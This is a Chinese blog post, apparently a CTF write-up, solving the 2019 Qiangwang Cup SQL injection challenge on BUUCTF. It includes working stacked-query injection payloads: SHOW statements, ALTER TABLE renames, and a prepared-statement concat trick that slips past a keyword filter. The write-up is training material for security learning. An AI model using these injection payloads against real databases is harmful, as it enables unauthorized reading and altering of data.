[CTF]强网杯2019随便注

2024-06-04 17:38
文章标签 ctf 2019 强网杯 随便

本文主要是介绍[CTF]强网杯2019随便注,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

对安全有兴趣,BUUCTF上一道一道做,记一些有意思的东西。

关键点

1 发现注入点

这题很容易实验,最简单的1’ or 1之类的语句可以测出来,闭环单引号就可以。
#注释符号,如果没起作用,需要注意使用url编码。

2 PHP的防注入

发现可以随便注之后,试了union select之类的,也面提示:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

搜了一圈,没发现可以绕过的方法。

然后尝试多语句,show databases,show tables,一试验可以生效。
这一步给了思路,但同时select又被禁掉了,这个时候思路就很容易跑偏,我就跑偏了,尝试到其它数据库或表中去找一些信息,因为不能用select查询数据,就用show去查一些信息,比如:

show columns from table;
show index from table;
show create database;
show gloable variables;

等等方式, 尝试发现一些线索,但是最终发现,这些方式只是适用于misc类的题目,而不是SQL,最终还是强迫自己从SQL的方向去考虑。

使用show tables时,返回两个表 1919810931114514、 words;
使用show columns from 1919810931114514, 一直无数据返回,也间接导致花了大量时间去找flag在什么地方。当继续SQL方向时,就发现了这个错误,纯数字表名需要加`号括起来

show columns from `1919810931114514`

最终返回列名flag,那剩下的问题就是如何读取出来的问题。

3 解题思路

在一遍遍搜索后,确定除了select没有其它获取表数据的方法,冷静下来,思考其它可以改变数据的方法,比如拷贝数据之类的,但是上面的防注入把update和select也禁掉了,这条路也不通。
最终,想到了alter,可以通过修改表名来间接达到目的。

简单的几步:
alter table words rename as words1;   // 将原查询表改名
alter table `1919810931114514` rename as words; // 将flag所在表改为原查询表
alter table words change flag id varchar(100); // 修改列名

总结

最终拿到flag时并不兴奋,因为在拿到之前就已经很确定这个方法是可行的,同时因为SQL不熟,导致走了很多弯路,这个挫折感抵消了解题的愉悦,慢慢积累吧。

附:

搜到的其它解题方法:

payload:-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

这篇关于[CTF]强网杯2019随便注的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1030674

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

(php伪随机数生成)[GWCTF 2019]枯燥的抽奖

审核源码发现加载check.php,审计发现使用了mt_rand()函数,这个函数生成的值是伪随机的 参考下面这篇文章 PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户 kali里面输入下载工具 git clone https://github.com/openwall/php_mt_seed.git cd进去输入make后编译出的文件先

2019年2月17日

今天又重新看了一下输出第1500个丑数 在我错了八次之后发现要输出一个句号还要输出换行 接下来的两天应该进入复习阶段了。

National Contest for Private Universities (NCPU), 2019 E. Generalized Pascal's Triangle

编辑代码 2000ms 262144K Generalized Pascal's Triangle Pascal's triangle is a triangular array in which each number can be calculated by the sum of the two numbers directly above that number as shown i

Hinton等人最新研究:大幅提升模型准确率,标签平滑技术 2019-7-8

导读:损失函数对神经网络的训练有显著影响,也有很多学者人一直在探讨并寻找可以和损失函数一样使模型效果更好的函数。后来,Szegedy 等学者提出了标签平滑方法,该方法通过计算数据集中 hard target 的加权平均以及平均分布来计算交叉熵,有效提升了模型的准确率。近日,Hinton 团队等人在新研究论文《When Does Label Smoothing Help?》中,就尝试对标签平滑技术对

Photoshop CC 2019圆形的抠图

快速进入矩形选区 快速在矩形和圆形选区之前切换: shift+M 选择的时候,按住shift,可以选中正方形/圆形   以中心点画圆: alt + 拖拽 再利用变换选区功能即可实现圆的选中 效果如图所示: 再使用自由变换,即可放大,缩小球的大小: ctrl + T 阴影部分的处理: 1)去其他球那里选择个椭圆形选区 2)选择编辑-填充 3)使用滤镜里

Windows Server 2019 中文版、英文版下载 (updated Aug 2024)

Windows Server 2019 中文版、英文版下载 (updated Aug 2024) Windows Server 2019 Version 1809 请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。 本站将不定期发布官方原版风格月度更新 ISO。 Windows Server